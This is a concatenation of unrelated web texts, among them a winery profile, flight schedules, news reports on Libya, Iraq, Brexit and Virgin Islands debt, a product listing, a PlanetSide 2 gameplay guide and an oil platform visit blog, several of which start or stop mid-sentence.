The Southern Oregon wines of Troon Vineyard are inspired by the wines of the Mediterranean coasts of Southern Europe. Place names like Madiran, Cahors, Bandol, Languedoc and Sardegna have provided the varieties which shine in their vineyards high in the Siskiyou Mountains. Troon’s vineyards are all LIVE and Salmon Safe certified and will become biodynamic and organic certified in 2019. Troon is an historic Oregon winery as Dick Troon first planted vineyards there in 1972. Today Troon Vineyard is owned by Dr. Bryan and Denise White, who reside in Texas.
Winemaking at Troon is straightforward. Their grapes are field sorted by the same vineyard crew that tended them all season. The hand-harvested grapes go into half-ton picking boxes where both the red and white grapes are treaded by foot. After extended skin contact the reds (or whites destined to become Orange wines) may be de-stemmed and go into one ton fermenters where they complete fermentation outside with no temperature controls with natural, native yeasts. Only hand punch downs are used, no pump-overs. The whites are pressed into mature French Oak barrels where they complete fermentations, also with their natural yeasts. All wines are matured in three or more years old French Oak Burgundy barrels purchased from top producers in the Willamette Valley. There are no acids, sugar, enzymes or any additives added to any of the wines.
Timberline Lodge Executive Chef Jason Stoller Smith honed his food and wine pairing skills during the ten years he spent cooking in the Willamette Valley wine country prior to his tenure at Timberline |
and Wednesday from March 25th
Stanstead: Every Friday, Saturday, Monday & Wednesday from March 26 th
Manchester: Every day apart from Wednesday and Friday from March 25th
To Bodrum (Aegean coast)
(Note: All flights run until 27th of October except for Bristol until October 25th and Liverpool until 23rd October.)
Bristol: Every Sunday, Tuesday and Thursday from April 29 th
Edinburgh: Every Wednesday and Saturday from April 25th
Liverpool: Every Tuesday from March 27th,
Gatwick: Every day except Thursday from March 26 th
Luton: Every Wednesday and Sunday from March 28th
Stanstead: Every Tuesday and Saturday from March 27th
To Antalya (Mediterranean coast)
Gatwick: From March 28 th to October 27 th, every Monday, Wednesday, Friday and Saturday
to October 27, every Monday, Wednesday, Friday and Saturday Luton: From March 28 th to October 27 th, every Saturday and Wednesday
to October 27, every Saturday and Wednesday Manchester: From March 25th to October 24th, every Sunday and Wednesday
For more tourism and travel news coming out of Turkey, follow Spot Blue on Facebook.April 22, 2008
VIA E-MAIL: [email protected]
Letters to the Editor
Maclean’s Magazine
One Mount Pleasant Road
11th Floor
Toronto, ON M4Y 2Y5
Re: “Free to Speak”, April 28, 2008 print edition
The editors of Maclean’s believe that “Human rights commissions are undermining the fundamental Charter rights of all Canadians.”
With respect, we disagree.
Our action in dismissing the complaints against the Maclean’s articles supports freedom of expression. Our action in calling for debate and discussion also supports that principle.
In our decision we explained that the complaints were not within our jurisdiction. The decision not to proceed was the result of careful consideration of the law. Any other interpretation would have interfered with freedom of expression.
Once that decision was made, we were free to comment on the issues raised. We followed the correct process for both aspects of our mandate under section 29 of the Ontario Human Rights Code – protecting and promoting human rights in order to create “… a climate of understanding and mutual respect for the dignity and worth of each person…,” as set out in the Preamble.
Stereotyping hurts the people and groups targeted, their families and their communities, and ultimately, all of us. In the post-9/11 world, we have seen more and more negative portrayals of Muslims and the rise of Islamophobia. Like racial profiling and other types of discrimination, ascribing the behaviour of individuals to a group damages everyone in that group. We have always spoken out on such issues.
Maclean’s and its writers are free to express their opinions. The OHRC is mandated to express what it sees as unfair and harmful comment or conduct that may lead to discrimination.
We need to keep in mind that freedom of expression is not the only right in the Charter. There is a full set of rights accorded to all members of our society, including freedom from discrimination. No single right is any more or less important than another. And the enjoyment of one depends on the enjoyment of the other. This means if you want to stand up and defend the right to freedom of expression then you must be willing to do the same for the right to freedom from discrimination.
The human rights system exists in Canada, in part, to shine a light on prejudice and to provoke debate – and action. We called for debate and dialogue; we still do.
We have taken controversial views before and no doubt will again. That is inevitable because we have a mandate to promote change – away from unfair stereotypes and discriminatory behaviour and towards a culture of human rights.
We agree with the Editors of Maclean’s: critics are entitled to their opinions. Sometimes we must be critical. We have that duty, enshrined in law, to speak up on human rights issues of the day – and we will continue to do so.
Yours truly,
Barbara Hall
Chief CommissionerGENEVA — Seif al-Islam el-Qaddafi, the son of Libya’s ousted dictator, should be turned over to the International Criminal Court to be tried on war crimes charges, the United Nations said on Tuesday, adding that he did not get a fair trial in Libya.
But the question is, who will hand him over?
A court in Tripoli, the Libyan capital, convicted Mr. Qaddafi in July 2015 and condemned him to death, but he was not in the court’s custody. Mr. Qaddafi had been detained by a militia in the northwestern city of Zintan, and took part in the proceedings only by video link; the militia refused to hand him over to the Tripoli authorities, citing security issues.
A year after the verdict, the commander of the militia announced that Mr. Qaddafi had been released under an amnesty decree issued by the Libyan government. Mr. Qaddafi has not been seen in public since, the United Nations said, and his status is unclear; he may still be held by the militia.
In the Tripoli trial, Mr. Qaddafi and 36 other defendants were charged with indiscriminate attacks on civilians and other crimes committed during the 2011 revolution that toppled Mr. Qaddafi’s father, Col. Muammar el-Qaddafi. Nine of the defendants were sentenced to death, including Mr. Qaddafi and Abdullah al-Senussi, his father’s intelligence chief.The Centre’s move to demonetise the Rs 500 and Rs 1,000 notes has hit newspaper publication in Manipur, as no dailies are expected to be out from Friday. The All Manipur Newspaper Sales and Distributors Association and the Newspaper Publishers’ Association said they were stopping publication from Thursday because they can no longer carry out their transactions given the scarcity of legal tenders. “We apologise for the public inconvenience in this regard,” they said in a statement.
Hawkers and distributors are unable to carry out the business as newspaper owners are not accepting the high denomination currency from them anymore. They are also unable to make payments in the new notes or in lower denomination notes because of non-availability, according to Naga daily The Morung Express.
More than a dozen vernacular and English newspapers are published from Manipur.
Both associations and the Editors’ Guild came to the decision to stop the publication of papers at a joint meeting at the office of local daily Hueiyen Lanpao in Imphal on Thursday. Publishers have urged the Narendra Modi government to include media houses in the list of exceptions allowed to transact in the demonetised notes till November 24 midnight.
They will stage a sit-in demonstration from 10 am to 3 pm on Friday, for which they have sought support from the public and civil society organisations, as well as from the Editors’ Guild Manipur, the All Manipur Working Journalists’ Union and the Manipur Hill Journalists Union, Hindustan Times reported.
Besides the Centre’s demonetisation move, Manipur is also facing a severe shortage of fuel and essentials as a result of the indefinite economic blockage being staged by the United Naga Council along two highways that link the state with rest of the country. The blockage was called as a protest against the Manipur government’s proposal to transform Sadar Hills and Jiribam into revenue districts.A Colorado Senate committee is considering putting marijuana-themed publications like High Times behind the counter.
“It’s analogous to the pornography example,” Rep. Bob Gardner (R-Colorado Springs), who proposed the idea, explained to The Associated Press.
Gardner’s legislation was offered as an amendment to a larger marijuana regulation bill. If approved, stores accessible to those under 21 would be required to place marijuana-themed magazines behind the counter with other adult publications like Playboy.
David Holland, a lawyer for High Times, told the Associated Press the magazine would sue the state if it enacted such a law. He said the law would violate the First Amendment, because pictures of drugs have never been considered obscene.
Colorado voters last November approved a measure to legalize the use and possession of small quantities of marijuana by those 21 and older. The state’s legislature is currently in the process of hammering out regulations for legal marijuana.
— —
[Woman with marijuana joint via Shutterstock]Iraqi Prime Minister Nuri al-Maliki says he plans to form a new government, but he rejects the idea of a national salvation government, saying it would only destabilize the country more. (Reuters)
Iraqi Prime Minister Nuri al-Maliki says he plans to form a new government, but he rejects the idea of a national salvation government, saying it would only destabilize the country more. (Reuters)
Embattled Iraqi Prime Minister Nouri al-Maliki appeared to bow to U.S. pressure on Wednesday, striking a conciliatory tone as he called for political unity to tackle al-Qaeda inspired militants as they swept forward in the western province of Anbar.
Maliki called on political parties to lay aside differences before the first session of Iraq’s newly elected parliament, expected to take place next week. Secretary of State John F. Kerry described the comments as “precisely what the United States was encouraging.”
But while Maliki’s comments may have gone some way to appeasing the United States, for most of his political rivals it is too little, too late. With conflict threatening to tear apart the country, some are trying to rally support around alternative leaders, raising questions as to whether Maliki can cling on.
As the prime minister spoke Wednesday, insurgents from the Islamic State of Iraq and Syria (ISIS) pressed forward in Anbar, closing in on the provincial capital of Ramadi and on Haditha, home to a huge hydroelectric dam that is crucial to the country’s power supply.
“The situation in Anbar is on the edge of a cliff,” said Mohammed Fathi, a spokesman for the local Sunni al-Wafa political party based in Ramadi, which lies 80 miles west of Baghdad. “It won’t improve until we have a real political process. We are all partners in this country.”
The push toward the dam on the Euphrates river, the second largest in Iraq, raised fears that the floodgates could be opened by insurgents, or the army in order to repel them. Earlier this year, swathes of land west of Baghdad was flooded and tens of thousands of people were displaced after militants seized the Fallujah dam.
But it’s also possible it wants to take control of the power plants it powers, said Khalid Salman, head of the Haditha local council. While ISIS has made strides in gaining territory, it is struggling to provide services, which risks alienating the local populations that it relies on for support to maintain its gains. In the northern city of Mosul, overrun by militants earlier this month, residents complain of frequent power and water outages, combined with severe fuel shortages.
“Of course they want to control the dam, which is very important, not only for Anbar, but for all of Iraq,” he said. He said that government soldiers were being dispatched to help reinforce a contingent sent earlier to protect the dam.
As the United States mulls strikes, ISIS has consolidated its control in western Iraq, striding toward its aim of creating an Islamic caliphate. It now has a clear run across the western border deep into Syria, with its territory stretching to the Jordanian and Saudi frontiers.
The fighting has quickly developed into a regionalized conflict, with Syria carrying air raids on a town near the border on Tuesday.
Salman said ISIS militants had seized most of the al-Jazira area north of Ramadi. The gain was confirmed by a Ramadi security official, who declined to be named because he ewas not authorized to speak to the media.
1 of 53 Full Screen Autoplay Close June 26, 2014 June 25, 2014 Wednesday June 24, 2014 Tuesday June 23, 2014 Monday June 22, 2014 Sunday Skip Ad × John F. Kerry visits Iraq as violence spreads View Photos Secretary of State John F. Kerry conferred with Kurdish leaders in northern Iraq as fighters from local Sunni tribes wrested control of at least part of Iraq’s largest oil refinery after battling for days with government troops over the key facility. Caption Members of an all-volunteer force undergo training in the holy city of Karbala to protect Shiite shrines and help counter the recent gains of the Sunni insurgent group the Islamic State of Iraq and Syria. June 28, 2014 Members of the all-volunteer Iraq of Imam Hussein Regiment take up positions on a street corner as part of a basic-training course in the Iraqi holy city of Karbala. Shiite men have been ordered by Grand Ayatollah Ali Sistani, the country’s highest Shiite authority, to protect Shiite shrines and help counter the recent gains of the Islamic State of Iraq and Syria, a Sunni insurgent group. Scott Nelson/For The Washington Post Buy Photo Wait 1 second to continue.
Amid the chaos, Washington has urged Baghdad to push forward with forming an inclusive government before it provides military support.
President Obama has dispatched 300 military advisers to Iraq and has not ruled out airstrikes. But in Washington on Wednesday, questions were raised over the legality of strikes without congressional approval, which the Obama administration says it does not need to seek.
“The President cannot initiate unilateral action in military with the sole exception of acting promptly, if needed, to secure American embassy personnel,” said Sen. Timothy M. Kaine (D-Va.), normally an administration ally.
No doubt mindful of U.S. demands, Maliki’s speech on Wednesday, which came just two days after he met with Kerry in Baghdad, was in contrast to his public declarations earlier in the crisis, which have appealed to religious motivations and called for citizens to protect the country’s shrines.
The prime minister stressed instead that Iraqis “desperately need a united national stance to defy terrorism.” He rejected a proposal by Ayad Allawi, a rival secular Shiite, for a “national salvation” government, saying such a power-sharing agreement would be unconstitutional.
Maliki said he was committed to moving forward with forming a government as laid out in the constitution.
“In the prime minister’s remarks today he did follow through on the commitments that he made in our discussions,” Kerry told reporters in Brussels. He stressed that it is up to Iraqis to decide if Maliki would lead the new government.
Though Maliki’s party won the largest share of seats in April elections, he needs to make a majority to form a government. It remains unclear if he can do so, having alienated former political allies.
Baghdad is locked in intense political horse-trading ahead of the first session of parliament, which is expected July 1.
Ameer al-Kenani, a parliamentarian with Shiite cleric Moqtada al-Sadr’s political party, said that unless Maliki’s bloc come up with an alternative candidate for the premiership by Thursday, it would put forward its own alternative. He said his party has an agreement with another Shiite bloc led by Ammar al-Hakim, to back a single candidate.
From Ramadi, Fathi, the Sunni politician, also expressed strong opposition to Maliki’s continuing in office. “We need new faces,’’ he said. “We don’t deny that there is ISIS here, but there is also an uprising against oppression by Maliki. There can’t be reconciliation until he goes.”
Liz Sly reported from Baghdad. Anne Gearan contributed from Brussels and Karen DeYoung from Washington.A top trade official in Tehran says Iran and Russia are working on opening a joint bank between the two countries, adding that the move will help strengthen their currencies.
"There currently aren't any Russian banks in Iran, and the Russian currency is not very well known on the market. When Russian banks begin to operate in Iran, there will be more currency operations and the ruble will strengthen,” said Bahram Amirahmadiyan of the Russia-Iran Friendship Society.
“I hope the same will happen to the Iranian rial in Russia. That's why we are waiting impatiently for this initiative to go ahead," Amirahmadiyan told Sputnik Persian.
He added that Iranian and Russian traders alike want to carry out their trade operations in their national currencies. This can also widen and improve economic cooperation between the two countries, Amirahmadiyan added.
“At the moment, all banking operations between Russia and Iran are carried out in dollars or euros. It's very inconvenient, because all these operations are controlled either by the EU or US central banks," he emphasized.
According to official figures from Russia's Federal Customs Service, the Russian-Iranian trade as a proportion of Russia's international trade increased from 0.2 to 0.4 percent in the first half of this year, following the partial lifting of sanctions on Iran. Between January and June, the total turnover of trade between the two countries was $923.7 million, Sputnik added.
"The key problem in the way of increasing the volume of trade between the two countries is the lack of a single joint banking mechanism. This is a very valuable and rational initiative from Russian banks, and I am sure it will succeed in practice. The Russian-Iranian Chamber of Commerce is actively working on opening a joint Russian-Iranian bank," Amirahmadiyan said.Add some fun to your drink with ice cube trays!
Ice cube mold uses for chilling beverage:ice coffee,lemonade,wine,whisky,cocktail,juice,milk,etc.
3D ice cube tray uses for cooking DIY food:pudding,chocolate,fruit jelly,mousse cake,milk shakes,etc.
DenSan ice mold tray is flexible for easy filling,release,and cleaning.
Your Drinks Have Never Looked Cool
Do you want to make your drinks stand out so you can impress all your guests?
Do you want your parties to be truly epic?
Are you throwing a party and want it to be as spooky as possible?
Then look no further because we have exactly what you need!
This skull shaped ice mold tray is everything you've ever wanted!
The Most Unique Design You Can Find
This incredible ice tray is truly extraordinary!
The mold will give you 4 large skull-shaped ice rocks that are very detailed and amazingly cool!
With this ice mold you can make any drink look cool and spooky so you can impress all your friends.
Premium Quality Material
Made of 100% imported pure silica(food grade)raw material and perfectly safe for your health.
The tray is very flexible and durable so you can easily take the ice out once it's ready.
High/low temperature characteristics,the highest heat resistance up to 250℃(minimum cold resistance up to -40℃).
Specifications:
Color:Black
Material:Food grade silicone
Size:12*8.5*5cm
Net Weight:102g
Uses:ice cubes,ice cream,biscuits,pudding,cakes,mousses,jellies,prepared foods,chocolates,etc.can be used
Package Included:
1 x Ice Cube Trays
1 x User ManualBRUSSELS (Reuters) - EU chief executive Jean-Claude Juncker said he believed Britain could find a compromise on reforming the European Union to keep it in the bloc but ruled out big changes to the open border policy that worries many Britons.
European Commission President Jean-Claude Juncker holds a news conference following a European Union leaders summit in Brussels, March 20, 2015. REUTERS/Eric Vidal
In remarks broadcast by the BBC on Tuesday, nine days before an election that could return a British prime minister committed to a referendum on EU membership, European Commission President Juncker stressed that detailed discussion was premature without clarity on what the new government in London would request.
But the former Luxembourg premier voiced irritation at suggestions in Britain that he had ruled out all treaty changes during a five-year mandate he began six months ago.
“It depends on the request,” Juncker said. “It depends on other issues like the deepening of economic and monetary union that could easily lead to treaty changes, too.”
He added: “I’m not asking for treaty changes and I do exclude major treaty changes as far as the freedom of movement is concerned, but other points can be mentioned and there were policy changes which are possible under the existing treaty.”
British Prime Minister David Cameron, who was deeply opposed to Juncker’s appointment, has said he will hold an in/out referendum on membership in 2017 once he has renegotiated EU treaties to wrest back powers from Brussels — notably a right to limit immigration within the 28-nation bloc.
However, it is far from clear that he will win re-election on May 7 and is running neck-and-neck in the opinion polls with the centre-left Labour Party, which has said it would only hold a referendum if there were a substantial transfer of power to Brussels — something that is neither imminent nor likely.
The Commission president said he did not want Britain to leave the European Union and promised to seek a “fair deal”.
“There’s still room for finding intersectional space between what I think Britain will propose and what I think about the European reaction,” he said.
Other EU states, while keen not to lose Britain’s economic and military power from the bloc, are reluctant to open up a process of treaty change that would oblige some to hold ratification referendums they would struggle to win in the face of growing public disenchantment with European institutions.
Like Juncker, other EU leaders have said existing migration rules do give states powers to curb EU citizens moving country simply in search of higher welfare benefits — a key issue for voters in Britain uneasy at immigration from eastern Europe.
British officials, however, believe changes in treaties may be required in any case for euro zone states to modify the rules of the single currency — giving Britain an opportunity to negotiate changes that it would like to see, too.Leonard takes a good look at how to dodge the living bane of every serious ESF pilot.
Update: With the release of Performance Update 2 on 17 Dec 2013 new changes to missile projectiles have again been introduced that render the maneuvers described in this article ineffective for dodging air-to-air missiles. See also the article here.
PlanetSide 2’s lock-on missiles and lock-on mechanics have always been a product of poor game design, lack of execution, and constant diabolical stealth-patching. Not even a month ago lock-ons were all but completely broken in almost every way imaginable and Sony was slow to fix it. In fact, since I have adopted the philosophy behind running Fire Suppression a long time ago (more on that in a separate article here), I’m not even entirely sure they have indeed fixed it — nor do I care anymore.
Anyway, missiles fly at a very high speed in PlanetSide 2 (100mps or 360kph the last time I have checked) and while they do possess an excellent turn rate, I imagine their momentum keeps them from changing directions too sharply and too quickly. Resourceful pilots use these characteristics to their advantage.
Two Maneuvers
There are currently two maneuvers to dodge air-to-air missiles effectively with, both of which have been hotly discussed in public as of late and are useful in completely different scenarios, and both of which refuse to use up a single drop of your valuable afterburner fuel, either, unlike other maneuvers from days past.
Rest assured, you can find video links to each maneuver and more at the very bottom of the post.
Possibly common knowledge by now, the first maneuver — let’s call it the “Charge” maneuver here for convenience — is an offensive one, and must be used in flight mode. Similar to a scene from the famous movie The Hunt for Red October (1990) with Sir Sean Connery, you keep charging with your ESF directly at the shooter, at full speed, while holding either Ascend (Spacebar) or Descend (Ctrl). By so doing the missile will speed past by you without ever hitting.
The second maneuver — let’s call it “Duck and Away” here [I have been informed people refer to it as “Ginger’s Cobra” now] — is not such an obvious candidate, is more on the defensive side, and must be performed in hover mode entirely. For starters, you have to have the shooter on either side (left or right) of your field of view. (Only Scythe pilots may face him directly, frontally.) You must be descending at maximum descend rate in hover mode (hold Ctrl), then you must pitch up and away as you see the missile homing in at you (a slight diagonal tip upwards with the mouse should be enough). I repeat: duck and pitch up and away from the missile. And once again, by so doing the missile will fly past you incapable of correcting its course in due time to hit you.
Note: “Duck and Away” does work against ground locks too provided (I) that there is enough distance between you and the missile, (II) that you have enough time to go into full descend mode, and (III) that you are actually able to figure out the direction the missile is coming from in due time in order to face the missile projectile (and enter hover mode).
Not the Solution
As you will surely notice, both the “Charge” and the “Duck and Away” maneuver come with very strict and very specific requirements for successful dodging even in a vacuum of just missile user and missile target:
You must find out in an instant the type of missile locking onto you (ground or air) and, ideally, the quantity. [Aside: GU15 was meant to introduce HUD icons for the former but never saw the light of day on live for various reasons.] You must find out in an instant from which direction, at the bare minimum, the missile is getting launched or, ideally, the shooter’s location. Most important of all, you must be able to take down the shooter while evading his missiles and while being chipped away by whatever primary gun he is wielding.
These strict requirements are my main gripe with these very situational maneuvers. Make no mistake, air-to-air missiles are still absurdly powerful (even more so in two-man cells, let alone whole air squads) and these two dodge maneuvers are in fact not the no-brainer solution seasoned pilots have hoped for. Even a half-assed lockpodder is capable of keeping his distance to his target in order to inflict maximum damage with minimal opposition.
It goes without saying that any pilot’s ultimate goal should always be to avoid successful lock-on attempts in the first place or at least to reduce the number of possible lock-on sources and directions to better single out the shooter and isolate him from the rest of the cacophony of the air game. Easier said than done. Nothing ground-breaking, but the following may help:
A safe retreat zone or terrain trap to lure the shooter into
Low-altitude flight over favorable terrain that provides cover or under structures, with biolabs being an all-time favorite, to drastically reduce the effectiveness of lock-on missiles
Staying out of lock-on range but still within scouting range by sticking to a high altitude or keeping one’s distance until a target that is safe to engage can be singled out and taken down safely
You can find video links to each maneuver and more below.
As always thanks for dropping by. See you on Auraxis!
—Leonard
Videos:
AdvertisementsUp to 450 citizens or residents of Spain have traveled to Syria and Iraq over the last two years to join the Islamic State (ISIS), according to a study by a Moroccan think tank.
The figure more than doubles the official number of Spain-based recruits estimated by the Interior Ministry, which talks about 190 individuals.
ISIS has experts in human resources, communication and marketing Eva Moya, advisor to the National Police
The new estimate was put forward by the Moroccan Center for Strategic Studies, which partners with Spain’s Elcano Institute on research issues, at the Fourth Global Terrorism Forum.
Center president Mohammed Benhammou presented the study, which finds that a total of 47,000 foreign combatants have traveled to ISIS camps over the study period.
Of these, 7,000 are European citizens, including 1,700 from France, 850 from Belgium, 650 from Germany and 170 from Sweden.
Up-to-date intel
The Spanish Interior Ministry said that its own data is updated with information from the National Intelligence Center (CNI) and the Intelligence Center Against Terrorism and Organized Crime (CITCO).
One ISIS video depicted the Alhambra in Granada flying the Islamic State flag.
The average recruit is a young married man with two children and either high school or university studies, said Carola García-Calvo, a researcher for Elcano Institute’s Global Terrorism Program. “Around 16% of the total are women; we began noticing this trend starting in 2012.”
García-Calvo said that “second-generation immigrants” are the most vulnerable to recruiters’ message.
She also noted that poor social integration into their host countries can no longer fully explain this radicalization, because many of these recruits have similar social and labor situations as the average citizen.
“They are businessmen, students, self-employed workers, service providers,” she said.
Online search
In Spain, recruitment is mostly carried out online. This year, counter-terrorism experts discovered an increase in references to Spain in jihadist propaganda messages.
“They don’t use Facebook or Twitter all that much anymore, preferring more concealed networks,” said Eva Moya, an expert on social media who has advised the National Police on online terrorism. “They are good at instant messaging applications like Snapchat.”
Moya explained that ISIS is growing increasingly professional about its recruitment work.
“They have experts in human resources, communication and marketing. They analyze the weak points of their most vulnerable targets and try to ensnare them.”
In 2015, Spain approved a National Plan to Fight Jihadism. The first measure was the creation of a platform called Stop Radicalismos, which includes a mobile app and a telephone that citizens may use to report possible cases of jihadist radicalization.
García-Calvo said this initiative is “a good early detection tool” but added that there should also be more awareness campaigns.
The average recruit is a young married man with two children and either high school or university studies
“We need inclusive programs, transparency and information. And it is very important to work directly with the Muslim community, so they won’t feel that they are being targeted.”
In August, Spanish counter-terrorism authorities issued an alert about “the increase in mentions of our country” in propaganda material produced by ISIS, including text documents, videos and graphs.
“The progressive increase of texts and releases translated into Spanish is giving our country growing relevance from a propaganda point of view, and increasing the possibility of action by an autonomous terrorist working on our territory,” terrorism experts said at the time.
English version by Susana Urra.Marcus Rashford has scored once for England in three senior appearances
Marcus Rashford scored a hat-trick on his England Under-21 debut as they thrashed Norway in a European Under-21 Championship qualifier.
The Manchester United man has scored on his debuts in the Premier League and Europa League, as well as for England's senior side and now the U21s.
The 18-year-old struck from 18 yards before adding a deflected second and scoring a penalty for his third.
Nathaniel Chalobah, Ruben Loftus-Cheek and Lewis Baker also scored.
The comfortable win means Gareth Southgate's men are now two points clear of Switzerland at the top of their group, with two games left to play and a game in hand on their nearest opponents.
Norway, who made it 4-1 through a Ghayas Zahid header, remain third.
The top team in each group is assured of reaching next year's tournament in Poland, with the team finishing second going into a play-off.
Rashford's remarkable 2016 Date What happened? 25 Feb Scores twice on United debut against Midtjylland in the Europa League 28 Feb Scores another double on his Premier League bow in a 3-2 win over Arsenal 21 May Starts for United as they beat Crystal Palace 2-1 in the FA Cup final 27 May Scores three minutes into his England debut in a friendly against Australia 6 Sep Scores a hat-trick on his Under-21 debut in a 6-1 win over Norway
Rashford makes his case to start
After omitting him from his first senior squad before the recent World Cup qualifiers, England boss Sam Allardyce said Rashford's inclusion in England's Under-21s "will be invaluable for us later down the line".
The former Sunderland and Bolton boss also suggested that he would not pick players who were not playing regularly for their club sides.
"In the past, it's been a case of some of the players joining up who haven't played that much for their teams," said Allardyce. "That's a bit of a concern."
Rashford has played just 19 minutes in the Premier League this season, coming off the bench to score a late winner against Hull City.
Jose Mourinho's United have won all three of their league games this season and play Manchester City at Old Trafford on Saturday.
A performance to savour
With Allardyce watching, Rashford made a perfect start to his Under-21 career with a powerful run and finish for his first goal on 29 minutes.
He added his second with a deflected shot to put his side 4-0 up and then made it five from the penalty spot after his cross into the box was handled by a Norwegian defender.
Next year, Rashford would be eligible to play at both the Under-20 World Cup in South Korea, where England have already booked their place among the 24 competing nations, and the European Under-21 Championships in Poland.
The teenager told BT Sport: "It was a good debut to have and I thought Norway did well despite the scoreline. It was the first penalty I've scored since I turned professional, so that was my favourite goal."On November 9 and 10, the American Petroleum Institute (API) invited several bloggers to visit Shell's facilities in New Orleans, and also its Brutus Tension-leg Platform, 165 miles south of New Orleans, in the Gulf of Mexico. The purpose of this post is to tell you a little about my trip.
API has underwritten Gail Tverberg’s travel expenses to attend the Shell location tour in New Orleans. Gail is not required to blog about API initiatives. The only requirement as a condition of underwriting these expenses was to include this disclosure of this relationship on her blog.
First, I need to disclose that API paid for my trip.
There were only three bloggers on this trip:
• Mark Hemingway of National Review
• Margot Gerritsen who teaches energy resources engineering at Stanford University
• Gail Tverberg of The Oil Drum
Also on the trip were Jane Van Ryan of API, Ignacio Gonzalas from Shell Oil, and plus two women assisting Jane with the trip.
Visit to Shell Facility in New Orleans
On Saturday, November 9, we started by having lunch together and talking a little about the reason for the trip. Shell and API would like to be more open about oil company operations and would like to have at least a few bloggers understand their operations better. Also, we talked a little about their view of the future of oil production. I would describe the views of both Ignacio and Jane to be "peak lite" views. With rising demand, and many of the older fields now in decline, they have real concerns about developing adequate energy resources to meet tomorrow's needs.
After lunch, we visited three areas in Shell's New Orleans facility that are involved with visualization of new sites and monitoring of existing oil fields. At each of these stops, we saw specially prepared presentations on how the centers operate.
Our first stop was SEPCoVE 3-D (Shell Exploration and Production Collaborative Virtual Environment). This is a virtual reality center where a team of specialists can meet to study a particular field's structure and plan a course of action. The room has a curved 24 foot screen. People viewing the images wear special three-D glasses, to get a better 3-D effect. We were told that Shell has about a dozen rooms like this around the world. The visualization centers were developed by the same companies that make 3D animation for amusement park rides. We saw some seismic 3-D images, so got a little feel for what the teams are looking at.
While in the SEPCoVE room, we heard a little about Shell's ventures into newer sources of energy. One they are particularly optimistic about is a shale oil extraction method using heating and freezing. It seemed to me that it was likely to be very energy intensive.
Next we visited the Shell/Halliburton Real Time Operations Center (RTOC). This is a center that can monitor up to 12 critical fields at a time. This is a large room filled with 75 monitors and 12 large screens. One of the goals in both SEPCoVE and RTOC is to minimize down-time of drilling rigs, since they are very expensive.
Third, we visited the Production Operations Management Center (POMC). We were told that a better name would be the Production Operations Monitoring Center, since what this group really does is monitoring, rather than management. In this room, a large number of less critical fields are monitored, to make certain that they are operating within expected parameters.
Part of the reason for POMC is to get maximum use from the limited number of people trained to do this kind of monitoring. By having both the recent graduates and the more experienced workers together in the same room, it is possible for the more experienced to help train the less experienced, and to leverage their knowledge to handle a large number of fields at a time.
Trip to Brutus TLP
Saturday morning, we took a helicopter to visit the Brutus Tension-Leg Platform (TLP). A TLP has four "hulls" (like legs) at the corners, and is tethered to the sea floor by 12 "tendons". The facility makes all its own power -- generally from the natural gas it produces -- and desalinates sea water for drinking.
We had a beautiful day for the visit--temperature in the upper 70's, sunny, with little wind. On the day we visited, the platform was perfectly still. We were told that on windy days, it moves in figure 8's. The platform cost a little under $1 billion to make, and was designed with a 30-year lifetime. The management of the platform spent the day showing us around. This was much more attention than I had expected.
One of the first things I asked was how much Brutus was producing. I had read in the literature that it began operation in 2001, and was designed with a maximum capacity of 100,000 barrels of oil and 150 million cubic feet of gas per day. I was told that the previous day's production was 28,000 barrels of oil and 40 million cubic feet of gas. This production may not have been entirely representative, but it was clear that the platform is producing quite a bit less than it was designed for. We were told that Shell has plans to add some type of gas lift in the second quarter of 2008, to enhance recovery.
When I got back, I looked at Matt Simmons' slide from the |
Virgin Islands, officials increasingly relied on borrowed money to fund government operations.
A table and chairs are seen on a terrace of a hotel in Christiansted, on the outskirts of St Croix, U.S. Virgin Islands June 29, 2017. REUTERS/Alvin Baez
Debt loads for both territories have grown to staggering proportions, now surpassing 50 percent of their respective GDPs. That’s higher than anywhere in the nation and sharply above the state median of 2.2 percent, Moody’s Investors Service found.
(For a graphic on U.S. territory debt, see: tmsnrt.rs/2h8TGIo)
Bond buyers for years whistled past the territories’ shaky finances, comforted in the knowledge that these governments couldn’t seek bankruptcy protections available to many municipalities.
“There was an idea that because of the lockbox structure and the fact that the territories did not have a path to bankruptcy, they had to pay you,” said Curtis Erickson, San Francisco-based managing director of Preston Hollow Capital, a municipal specialty finance company.
That all changed in 2016 when Congress passed legislation known as PROMESA giving Puerto Rico its first access to debt restructuring. The move sparked a ferocious battle among creditors to see who would shoulder the largest losses.
Investors quickly surmised the U.S. Virgin Islands might pursue the same strategy. In December, S&P Global Ratings downgraded the territory by a stunning seven notches to B from BBB+, putting it well below investment grade.
The U.S. Virgin Islands is adamant that S&P and other ratings agencies overreacted. The territory has been unfairly “tainted by Puerto Rico’s pending bankruptcy,” and has no intention of pursuing debt restructuring, said Lonnie Soury, a government spokesman.
In addition to tax hikes and budget cuts, he said the current administration is looking to do more with its tourism and horse racing industries to boost development.
BIG DEBTS, FEW OPTIONS
In the meantime, the U.S. Virgin Islands is trapped in a circle of hock that’s making it tough to maneuver.
The government and its two public hospitals, for example, owe a combined $28 million to the territory’s water and power authority, known as WAPA. In turn, WAPA owes about $44 million to two former fuel vendors.
Then there’s the $3.4 billion of unfunded liabilities for public pensions and retiree healthcare. The pension fund is 19.6 percent funded and projected to run out of money by 2023.
Pensioners can wait months before their annuities start, because the government is behind on its contributions. St. Croix resident Stephen Cohen, 67, said it took almost a year after he retired as a high school biology teacher before he received his first check in 2016.
“A lot of people are financially stressed,” Cohen said. “They didn’t realize how bad things would get.”
Territory officials can’t say how they will close a projected $100 million budget shortfall for this fiscal year. That’s on top of an accumulated net deficit of $4.4 billion, according to government financial records.
Back at Juan F. Luis Hospital, officials hope to move the emergency room into the cardiac wing so repairs can begin on the collapsed pipes.
The government has pledged $3 million for the job, but Tim Lessing, the facility’s chief financial officer, wonders if he’ll see it.
“The territory is in a tough position,” Lessing said. “Nobody’s buying the paper.”
Slideshow (18 Images)
(Editing by Marla Dickerson)Saturday will be the biggest day in the Orlando Pride’s short history.
The stakes have never been higher as they enter their first playoffs to face the Portland Thorns, a team that has bested them in every meeting yet. For the Pride, a knockout match some 3,000 miles from home against such a strong team is a daunting task, to be sure.
But despite their previous meetings with the Thorns — three losses and one draw — the Pride feel confident in their approach to their NWSL semifinal.
Their most recent meeting against Portland one month ago was their best result, a scoreless draw against a team that has led the league in shutouts.
“They have great team defending,” defender Ali Krieger told the Orlando Sentinel on Friday. “They get everyone in behind the ball and it’s a testament to their goals against this year, which they haven’t had many.
